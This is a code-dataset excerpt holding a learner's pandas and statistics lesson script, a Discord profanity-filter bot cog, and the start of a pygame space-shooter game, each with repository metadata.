#logic OR comndition remember brackets and df inside []\r\nprint(march_april)\r\n\r\njanuary_february_march = df[df[\"month\"].isin([\"January\",\"February\",\"March\"])] #isin checks for column \"month\" in the list contents\r\nprint(january_february_march)\r\n\r\n#Altering the columns of the subframe\r\ndf2 = df.loc[[1, 3, 5]]\r\ndf3 = df2.reset_index()\r\nprint(df3)\r\ndf2.reset_index(inplace = True, drop = True) #drops index column and resets the left most indicies\r\nprint(df2)\r\n\r\n#Adding a column to the df called \"sold in bulk?\"\r\ndf = pd.DataFrame([\r\n  [1, '3 inch screw', 0.5, 0.75],\r\n  [2, '2 inch nail', 0.10, 0.25],\r\n  [3, 'hammer', 3.00, 5.50],\r\n  [4, 'screwdriver', 2.50, 3.00]\r\n],\r\n  columns=['Product ID', 'Description', 'Cost to Manufacture', 'Price']\r\n)\r\ndf[\"Sold in Bulk?\"] = [\"Yes\",\"Yes\",\"No\",\"No\"]\r\ndf[\"Is taxed?\"] = \"Yes\" #adds a new column with the same entry for each row \"Yes\"\r\ndf[\"Margin\"] = df[\"Price\"] - df[\"Cost to Manufacture\"] #adds new column using an operation on the other columns\r\nprint(df)\r\n\r\ndf = pd.DataFrame([\r\n  ['JOHN SMITH', 'john.smith@gmail.com'],\r\n  ['Jane Doe', 'jdoe@yahoo.com'],\r\n  ['joe schmo', 'joeschmo@hotmail.com']\r\n],\r\ncolumns=['Name', 'Email'])\r\ndf[\"Lowercase Name\"] = df[\"Name\"].apply(str.lower) #adds new column by applying a string operation to an exsiting column \r\nprint(df)\r\n\r\n#below applies a lambda function to an existing column to produce a new column \r\n#df = pd.read_csv('employees.csv')\r\n#get_last_name = lambda string : string.split(\" \")[-1]\r\n#df[\"last_name\"] = df[\"name\"].apply(get_last_name)\r\n#print(df)\r\n\r\n#Another more complex lambda function \r\ntotal_earned = lambda row: (row.hourly_wage * 40) + ((row.hourly_wage * 1.5) * (row.hours_worked - 40)) \\\r\n\tif row.hours_worked > 40 \\\r\n  else row.hourly_wage * row.hours_worked\r\n#df['total_earned'] = df.apply(total_earned, axis = 1) #axis = 1 takes an entrie row as an entry as opposed to a column\r\n\r\n#df.columns = [\"ID\", \"Title\", \"Category\", \"Year Released\", \"Rating\"] #rename all the columns of a dataframe at once \r\n\r\n#df.rename(columns={\"name\":\"movie_title\"},inplace=True)\r\n#inplace modifies the df instead of creating a new dataframe\r\n\r\n#mylambda = lambda row : \"vegan\" if row != \"leather\" else \"animal\" \r\n#orders[\"shoe_source\"] = orders[\"shoe_material\"].apply(lambda row : \"vegan\" if row != \"leather\" else \"animal\")\r\n#mylambda1 = lambda row : (\"Dear Mr. {}\".format(row[\"last_name\"])) if row.gender == \"male\" else (\"Dear Ms. {}\".format(row[\"last_name\"]))\r\n#orders[\"salutation\"] = orders.apply(mylambda1,axis = 1)\r\n\r\norders = pd.read_csv('orders.csv')\r\nprint(orders.head(10))\r\n\r\nmost_expensive = orders.price.max() #maximum value \r\nnum_colors = orders.shoe_color.nunique() #number of unnique values\r\n\r\npricey_shoes = orders.groupby(\"shoe_type\").price.max() #groups the shoes by their types and returns the priciest\r\nprint(pricey_shoes) #e.g. the most expensive trainers and most expensive sandals\r\n\r\npricey_shoes = orders.groupby('shoe_type').price.max().reset_index() #sets the grouped_by category and price as the column names\r\nprint(pricey_shoes)\r\nimport numpy as np\r\ncheap_shoes = orders.groupby(\"shoe_color\").price.apply(lambda x: np.percentile(x,25)).reset_index() #can apply a lambda function, reset_index ensures that cheap_shoes is a dataframe rather than a series \r\nprint(cheap_shoes)\r\n\r\nshoe_counts = orders.groupby([\"shoe_type\",\"shoe_color\"]).id.count().reset_index() #counts the number of each shoe sold grouped by type and colour e.g. 12 red wedges and 34 blue wedges\r\nprint(shoe_counts)\r\n\r\n#below creates a pivot table from the above, makes the info more readable \r\nshoe_counts_pivot = shoe_counts.pivot(columns = \"shoe_color\", index = \"shoe_type\", values = \"id\").reset_index()\r\nprint(shoe_counts_pivot)\r\n\r\nuser_visits = pd.read_csv('page_visits.csv')\r\nprint(user_visits.head())\r\n\r\n\r\nclick_source = user_visits.groupby(\"utm_source\").id.count().reset_index()\r\nprint(click_source)\r\nclick_source_by_month = user_visits.groupby([\"utm_source\",\"month\"]).id.count().reset_index()\r\nprint(click_source_by_month)\r\nclick_source_by_month_pivot = click_source_by_month.pivot(columns = \"month\", index = \"utm_source\", values = \"id\").reset_index() #another pivot table \r\nprint(click_source_by_month_pivot)\r\n\r\n#MULTIPLE DATAFRAMES/TABLES SIMILAR TO SQL \r\n\r\nsales = pd.read_csv('sales.csv')\r\nprint(sales)\r\ntargets = pd.read_csv('targets.csv')\r\nprint(targets)\r\n\r\nsales_vs_targets = pd.merge(sales,targets) #finds common columns from the two dataframes then merges their rows\r\nprint(sales_vs_targets)\r\ncrushing_it = sales_vs_targets[sales_vs_targets.revenue > sales_vs_targets.target] #all rows where sales > targets \r\n\r\nmen_women = pd.read_csv('men_women_sales.csv')\r\nall_data = sales.merge(targets).merge(men_women) #merges all the tables together from left to right\r\nprint(all_data)\r\nresults = all_data[(all_data.revenue > all_data.target) & (all_data.women > all_data.men)]\r\n\r\norders = pd.read_csv('orders.csv')\r\nprint(orders)\r\nproducts = pd.read_csv('products.csv')\r\nprint(products)\r\norders_products = pd.merge(orders,products.rename(columns={\"id\" : \"product_id\"})) #renames the columns as we merge the tables \r\nprint(orders_products)\r\n\r\norders_products = pd.merge(orders,products,left_on=\"product_id\", \\\r\nright_on=\"id\",suffixes=[\"_orders\",\"_products\"]) #allows us to change the columns names by adding a suffix and joining on a specific column\r\nprint(orders_products)\r\n\r\nstore_a = pd.read_csv('store_a.csv')\r\nprint(store_a)\r\nstore_b = pd.read_csv('store_b.csv')\r\nprint(store_b)\r\nstore_a_b_outer = pd.merge(store_a,store_b,how=\"outer\") #outer join keeps the unmatched rows from both tables  \r\nprint(store_a_b_outer)\r\n\r\nstore_a_b_left = pd.merge(store_a,store_b,how=\"left\") \r\n#keeps all left table (in this case store_a) and only the matched rows from the right table, anything right table does not have is NULL or NAN\r\nprint(store_a_b_left)\r\n\r\nstore_b_a_left = pd.merge(store_b,store_a,how=\"left\")\r\nprint(store_b_a_left)\r\n\r\nbakery = pd.read_csv('bakery.csv')\r\nprint(bakery)\r\nice_cream = pd.read_csv('ice_cream.csv')\r\nprint(ice_cream)\r\nmenu = pd.concat([bakery,ice_cream]) #concatenates the dataframes. NOTE the columns must be matching\r\nprint(menu)\r\n\r\nvisits = pd.read_csv('visits.csv',\r\n                        parse_dates=[1])\r\ncheckouts = pd.read_csv('checkouts.csv',\r\n                        parse_dates=[1])\r\nprint(visits)\r\nprint(checkouts)\r\nv_to_c = pd.merge(visits,checkouts)\r\nv_to_c[\"time\"] = v_to_c[\"checkout_time\"] - v_to_c[\"visit_time\"]\r\nprint(v_to_c[\"time\"].mean()) \r\n\r\n#change data types\r\n# Import dataset as a Pandas dataframe\r\nmovies = pd.read_csv(\"netflix_movies.csv\")\r\n\r\n# View the first five rows of the dataframe\r\nprint(movies.head())\r\n\r\n# Print the data types\r\nprint(movies.dtypes)\r\n\r\n# Fill in the missing cast_count values with 0\r\nmovies['cast_count'].fillna(0, inplace = True)\r\n\r\n# Change the type of the cast_count column\r\nmovies[\"cast_count\"].astype(\"int64\")\r\n\r\n# Check the data types of the columns again. \r\nprint(movies.dtypes)\r\n\r\n# Print the unique values of the rating column\r\nprint(movies['rating'].unique())\r\n\r\n# Change the data type of `rating` to category\r\nmovies['rating'] = pd.Categorical(movies['rating'], ['NR', 'G','PG','PG-13','R'], ordered=True)\r\n\r\n# Recheck the values of `rating` with .unique()\r\nprint(movies.rating.unique())\r\n\r\n# Import dataset as a Pandas Dataframe\r\ncereal = pd.read_csv('cereal.csv', index_col=0)\r\n\r\n# Show the first five rows of the `cereal` dataframe\r\nprint(cereal.head())\r\n\r\n# Create a new dataframe with the `mfr` variable One-Hot Encoded, takes mfr column and creates new binary column to reflect the entries in original mfr column \r\ncereal = pd.get_dummies(data=cereal,columns=[\"mfr\"])\r\n\r\n# Show first five rows of new dataframe\r\nprint(cereal.head())\r\n\r\nauto = pd.read_csv('autos.csv', index_col=0)\r\n# Print the first 10 rows of the auto dataset\r\nprint(auto.head(10))\r\n\r\n# Print the data types of the auto dataframe\r\nprint(auto.dtypes)\r\n\r\n# Change the data type of price to float\r\nauto.price.astype(\"float\")\r\n\r\n# Set the engine_size data type to category\r\nauto[\"engine_size\"] = pd.Categorical(auto[\"engine_size\"],[\"small\",\"medium\",\"large\"],ordered=True)\r\n\r\n# Create the engine_codes variable by encoding engine_size\r\nauto['engine_codes'] = auto['engine_size'].cat.codes\r\nprint(auto.head())\r\n# One-Hot Encode the body-style variable\r\nauto = pd.get_dummies(auto, columns = ['body-style'])\r\n# Check the order of the type column\r\nprint(auto.head())\r\n\r\n#TRIM MEAN\r\nfrom scipy.stats import trim_mean\r\nmovies = pd.read_csv('movies.csv')\r\n\r\n# Save the mean to mean_budget\r\nmean_budget = movies[\"production_budget\"].mean()\r\nprint(mean_budget)\r\n# Save the median to med_budget\r\nmed_budget = movies[\"production_budget\"].median()\r\nprint(med_budget)\r\n# Save the mode to mode_budget\r\nmode_budget = movies[\"production_budget\"].mode()\r\nprint(mode_budget)\r\n# Save the trimmed mean to trmean_budget\r\ntrmean_budget = trim_mean(movies.production_budget, proportiontocut=0.2) #trims off the extreme points, this case 20%\r\nprint(trmean_budget)\r\n\r\n# Save the range to range_budget\r\nrange_budget = movies.production_budget.max() - movies.production_budget.min() \r\nprint(range_budget)\r\n# Save the interquartile range to iqr_budget\r\niqr_budget = movies.production_budget.quantile(0.75) - movies.production_budget.quantile(0.25)\r\nprint(iqr_budget)\r\n\r\n# Save the variance to var_budget\r\nvar_budget = movies.production_budget.var()\r\nprint(var_budget)\r\n\r\n# Save the standard deviation to std_budget\r\nstd_budget = movies.production_budget.std()\r\nprint(std_budget)\r\n\r\n# Save the mean absolute deviation to mad_budget\r\nmad_budget = movies.production_budget.mad()\r\nprint(mad_budget)\r\n\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nmovies = pd.read_csv('movies.csv')\r\n\r\n# Create a boxplot for movie budget \r\nsns.boxplot(x=\"production_budget\", data=movies)\r\nplt.show()\r\nplt.close()\r\n# Create a histogram for movie budget\r\nsns.histplot(x=\"production_budget\",data=movies)\r\nplt.show()\r\nplt.close()\r\n\r\ngenre_counts = movies[\"genre\"].value_counts() #prints how many films of each genre\r\nprint(genre_counts)\r\n\r\n#Save the proportions to genre_props\r\ngenre_props = movies.genre.value_counts() / len(movies.genre)\r\nprint(genre_props)\r\n\r\n#Create a bar chart for movie genre \r\nsns.countplot(x=\"genre\",data=movies)\r\nplt.show()\r\nplt.close()\r\n\r\n# Create a pie chart for movie genre\r\nmovies.genre.value_counts().plot.pie()\r\nplt.show()\r\nplt.close()\r\n\r\n\r\nstudents = pd.read_csv('students.csv')\r\n#separate out scores for students who live in urban and rural locations:\r\nscores_urban = students.G3[students[\"address\"]==\"U\"]\r\nscores_rural = students.G3[students[\"address\"]==\"R\"]\r\n\r\n#calculate means for each group:\r\nscores_urban_mean = scores_urban.mean()\r\nscores_rural_mean = scores_rural.mean()\r\n\r\n#print mean scores:\r\nprint('Mean score - students w/ urban address:')\r\nprint(scores_urban_mean)\r\nprint('Mean score - students w/ rural address:')\r\nprint(scores_rural_mean)\r\n\r\n#calculate mean difference:\r\nmean_diff = scores_urban_mean - scores_rural_mean\r\n\r\n#print mean difference\r\nprint('Mean difference:')\r\nprint(mean_diff)\r\n\r\n#calculate medians for each group:\r\nscores_urban_median = scores_urban.median()\r\nscores_rural_median = scores_rural.median()\r\n\r\n#print median scores\r\nprint('Median score - students w/ urban address:')\r\nprint(scores_urban_median)\r\nprint('Median score - students w/ rural address:')\r\nprint(scores_rural_median)\r\n\r\n#calculate median difference\r\nmedian_diff = scores_urban_median - scores_rural_median\r\n\r\n#print median difference\r\nprint('Median difference:')\r\nprint(median_diff)\r\n\r\n#create the boxplot here:\r\nsns.boxplot(data=students,x=\"address\",y=\"G3\") #side by side boxplot \r\nplt.show()\r\nplt.close()\r\n\r\n#create the overlapping histograms here:\r\nplt.hist(scores_urban, color=\"blue\", label=\"Urban\",normed=True,alpha=0.5)\r\nplt.hist(scores_rural, color=\"red\", label=\"Rural\",normed=True,alpha=0.5)\r\nplt.legend()\r\nplt.show()\r\nplt.close()\r\n\r\n#create the box-plot here:\r\nsns.boxplot(data=students, x=\"Fjob\", y=\"G3\")\r\nplt.show()\r\nplt.close()\r\n\r\n\r\nhousing = pd.read_csv('housing_sample.csv')\r\n#print the first 10 rows of data:\r\nprint(housing.head(10))\r\n\r\n#create your scatter plot here:\r\nplt.scatter(x=housing.beds,y=housing.sqfeet)\r\nplt.xlabel(\"No. of beds\")\r\nplt.ylabel(\"Square ft.\")\r\nplt.show()\r\nplt.close()\r\n\r\n# calculate and print covariance matrix:\r\ncov_mat_sqfeet_beds = np.cov(housing.sqfeet,housing.beds)\r\nprint(cov_mat_sqfeet_beds)\r\n# store the covariance as cov_sqfeet_beds\r\ncov_sqfeet_beds = 228.2\r\n\r\nfrom scipy.stats import pearsonr\r\n#calculate corr_sqfeet_beds and print it out:\r\ncorr_sqfeet_beds, p = pearsonr(housing.sqfeet,housing.beds)\r\nprint(corr_sqfeet_beds)\r\n\r\n# create the scatter plot here:\r\nplt.scatter(x=housing.beds,y=housing.sqfeet)\r\nplt.xlabel(\"No. of beds\")\r\nplt.ylabel(\"Square Ft.\")\r\nplt.show()\r\n\r\nsleep = pd.read_csv('sleep_performance.csv')\r\n# create your scatter plot here:\r\nplt.scatter(x=sleep.hours_sleep,y=sleep.performance)\r\nplt.xlabel(\"Hours Slept\")\r\nplt.ylabel(\"Performance\")\r\nplt.show()\r\n# calculate the correlation for `hours_sleep` and `performance`:\r\ncorr_sleep_performance, p = pearsonr(sleep.hours_sleep,sleep.performance)\r\nprint(corr_sleep_performance)\r\n\r\n#CORRELATIONS 2\r\nnpi = pd.read_csv(\"npi_sample.csv\")\r\n#contingency tables, frequency\r\nspecial_authority_freq = pd.crosstab(npi.special,npi.authority)\r\nprint(special_authority_freq)\r\n\r\n# save the table of proportions as special_authority_prop:\r\nspecial_authority_prop = special_authority_freq/len(npi)  #can see where the majority of the responses lie helping to gauge possible correlations already  \r\n\r\n# print out special_authority_prop\r\nprint(special_authority_prop)\r\n\r\n# calculate and print authority_marginals\r\nauthority_marginals = special_authority_prop.sum(axis=0) #gets the proportions from the contingency table across the authority axis\r\nprint(authority_marginals)\r\n\r\n# calculate and print special_marginals\r\nspecial_marginals = special_authority_prop.sum(axis=1)\r\nprint(special_marginals)\r\n\r\nspecial_authority_freq = pd.crosstab(npi.special, npi.authority)\r\nprint(\"observed contingency table:\")\r\nprint(special_authority_freq)\r\n\r\nfrom scipy.stats import chi2_contingency\r\n# calculate the expected contingency table if there's no association and save it as expected\r\nexpected = chi2, pval, dof, expected = chi2_contingency(special_authority_freq)\r\n\r\n# print out the expected frequency table\r\nprint(\"expected contingency table (no association):\")\r\nprint(np.round(expected))\r\n\r\n# calculate the chi squared statistic and save it as chi2, then print it:\r\nchi2, pval, dof, expected = chi2_contingency(special_authority_freq)     #chi2 compares the actual and expected contingency tables\r\nprint(chi2)\r\n\r\n", "repo_name": "JPN514/Online-Learning-and-Related-Projects", "sub_path": "Lessons/Data science foundations part 2.py", "file_name": "Data science foundations part 2.py", "file_ext": "py", "file_size_in_byte": 17760, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.randint", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 128, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 141, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 184, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 194, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 207, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 209, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 212, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 216, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 221, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 223, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 225, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 232, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 234, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 236, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 239, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 243, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 246, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 248, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 250, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 253, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 255, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 259, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 265, "usage_type": "call"}, {"api_name": "pandas.Categorical", "line_number": 286, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 292, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 298, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 303, "usage_type": "call"}, {"api_name": "pandas.Categorical", "line_number": 314, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 320, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 326, "usage_type": "call"}, {"api_name": "scipy.stats.trim_mean", "line_number": 338, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 363, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 366, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 367, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 367, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 368, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 368, "usage_type": "name"}, {"api_name": "seaborn.histplot", "line_number": 370, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 371, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 371, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 372, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 372, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 382, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 383, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 383, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 384, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 384, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 388, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 388, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 389, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 389, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 392, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 432, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 433, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 433, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 434, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 434, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 437, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 437, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 438, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 438, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 439, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 439, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 440, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 440, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 441, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 441, "usage_type": "name"}, {"api_name": "seaborn.boxplot", "line_number": 444, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 445, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 445, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 446, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 446, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 449, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 454, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 454, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 455, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 455, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 457, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 457, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 458, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 458, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 461, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 468, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 472, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 472, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 473, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 473, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 474, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 474, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 475, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 475, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 477, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 479, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 479, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 480, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 480, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 481, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 481, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 482, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 482, "usage_type": "name"}, {"api_name": "scipy.stats.pearsonr", "line_number": 484, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 488, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 490, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 507, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 513, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 517, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 520, "usage_type": "call"}]}
{"seq_id": "6256129719", "text": "import discord\nfrom discord.ext import commands\nfrom .utils.dataIO import dataIO, fileIO\nimport os\nimport asyncio\n\nBOTCOMMANDER_ROLES =  [\"Family Representative\", \"Clan Manager\", \"Clan Deputy\", \"Co-Leader\", \"Hub Officer\", \"admin\"]\n\nclass profanity:\n    \"\"\"profanity!\"\"\"\n\n    def __init__(self, bot):\n        self.bot = bot\n        self.bannedwords = dataIO.load_json('data/Profanity/banned_words.json')\n\n    async def banned_words(self, message):\n\n        word_set = set(self.bannedwords)\n        phrase_set = set(message.content.replace(\"*\", \"\").replace(\"_\", \"\").replace(\"#\", \"\").split())\n        if word_set.intersection(phrase_set):\n            await self.bot.delete_message(message)\n            msg = await self.bot.send_message(\n                message.channel,\n                \"{}, **We do not allow Hateful, obscene, offensive, racist, sexual, or violent words in any public channels.**\".format(\n                    message.author.mention\n                )\n            )\n            await asyncio.sleep(6)\n            await self.bot.delete_message(msg)\n            return\n\n    async def on_message_edit(self, before, after):\n        await self.banned_words(after)\n\n    async def on_message(self, message):\n\n        server = message.server\n        author = message.author\n\n        if message.author.id == self.bot.user.id:\n            return\n\n        botcommander_roles = [discord.utils.get(server.roles, name=r) for r in BOTCOMMANDER_ROLES]\n        botcommander_roles = set(botcommander_roles)\n        author_roles = set(author.roles)\n        if len(author_roles.intersection(botcommander_roles)):\n            return\n\n        await self.banned_words(message)\n\ndef check_folders():\n    if not os.path.exists(\"data/Profanity\"):\n        print(\"Creating data/Profanity folder...\")\n        os.makedirs(\"data/Profanity\")\n\ndef check_files():\n    f = \"data/Profanity/banned_words.json\"\n    if not fileIO(f, \"check\"):\n        print(\"Creating empty banned_words.json...\")\n        fileIO(f, \"save\", [])\n\ndef setup(bot):\n    check_folders()\n    check_files()\n    bot.add_cog(profanity(bot))", "repo_name": "Gr8z/Legend-Cogs", "sub_path": "profanity/profanity.py", "file_name": "profanity.py", "file_ext": "py", "file_size_in_byte": 2085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "81", "api": [{"api_name": "utils.dataIO.dataIO.load_json", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.dataIO.dataIO", "line_number": 14, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "discord.utils.get", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.dataIO.fileIO", "line_number": 58, "usage_type": "call"}, {"api_name": "utils.dataIO.fileIO", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "3499197219", "text": "\"\"\"\n    complete space ship game\n    score + life count \n\n    settings\n    load sprites(group)\n    event context\n    main loop:\n        handle_events\n            keyboard,mouse\n        refresh screen\n            draw sprite\n            collide\n\n\"\"\"\n\nimport sys\nimport pygame\nfrom  pygame.sprite import Sprite,Group\n\n\nfrom Settings import Settings\nfrom GameStats import GameStats, Scoreboard\nfrom Button import Button\nfrom Ship import Ship \nfrom Alien import Alien \nfrom Bullet import Bullet\nimport event_handle as handler\n\ndef update_screen(ctx):\n    ctx.screen.fill(ctx.setting.bg_color)\n\n    if not ctx.stats.game_active:\n        ctx.play_button.draw()\n        pygame.display.flip()\n        return\n    \n    ctx.ship.blit_me()\n    #screen.blit(self.image, self.rect)\n\n    #bullets\n    for b in ctx.bullets.sprites():\n        b.draw_bullet()\n    #ctx.bullets.draw() only apply for image\n    \n    ctx.bullets.update()\n    for b in ctx.bullets.copy():\n        if b.rect.bottom <= 0:\n            ctx.bullets.remove(b)\n    \n    #aliens\n    for a in ctx.aliens.sprites():\n        if a.check_edge(): \n            ctx.setting.fleet_direction *= -1\n            for a1 in ctx.aliens.sprites():\n                a1.rect.y += ctx.setting.fleet_drop_speed\n            break\n    ctx.aliens.draw(ctx.screen)\n    ctx.aliens.update()\n\n    #score\n    ctx.scoreboard.blit_me()\n    collisions = pygame.sprite.groupcollide(ctx.bullets, ctx.aliens, True, True)\n    if collisions:\n        for c in collisions.values():\n            ctx.stats.score += ctx.setting.alien_points * len(c)\n            ctx.scoreboard.update_score()\n            ctx.scoreboard.try_update_highest()\n\n    if len(ctx.aliens) == 0:\n        handler.next_level(ctx)\n\n    handler.check_game_over(ctx)\n\n    pygame.display.flip()\n\n\ndef run_game():\n    pygame.init()\n    setting = Settings()\n    screen = pygame.display.set_mode((setting.screen_width, setting.screen_height))\n    pygame.display.set_caption(setting.game_name)\n    \n    ship = Ship(setting, screen)\n    bullets = Group()\n    aliens = Group()\n    \n    stats = GameStats(setting)\n    scoreboard = Scoreboard(setting, screen, stats)\n    play_button = Button(setting, screen, \"Play\")\n\n    _ctx = handler.event_context(setting, screen, stats, scoreboard)\n    _ctx.ship,_ctx.bullets,_ctx.aliens = ship,bullets,aliens\n    _ctx.play_button = play_button\n\n    handler.create_aliens(_ctx)\n    while True:\n        handler.check_events(_ctx)\n        update_screen(_ctx)\n\nrun_game()\n", "repo_name": "iorilan/py_game_playground", "sub_path": "03/game8/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 2478, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.display.flip", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.sprite.groupcollide", "line_number": 63, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 63, "usage_type": "attribute"}, {"api_name": "event_handle.next_level", "line_number": 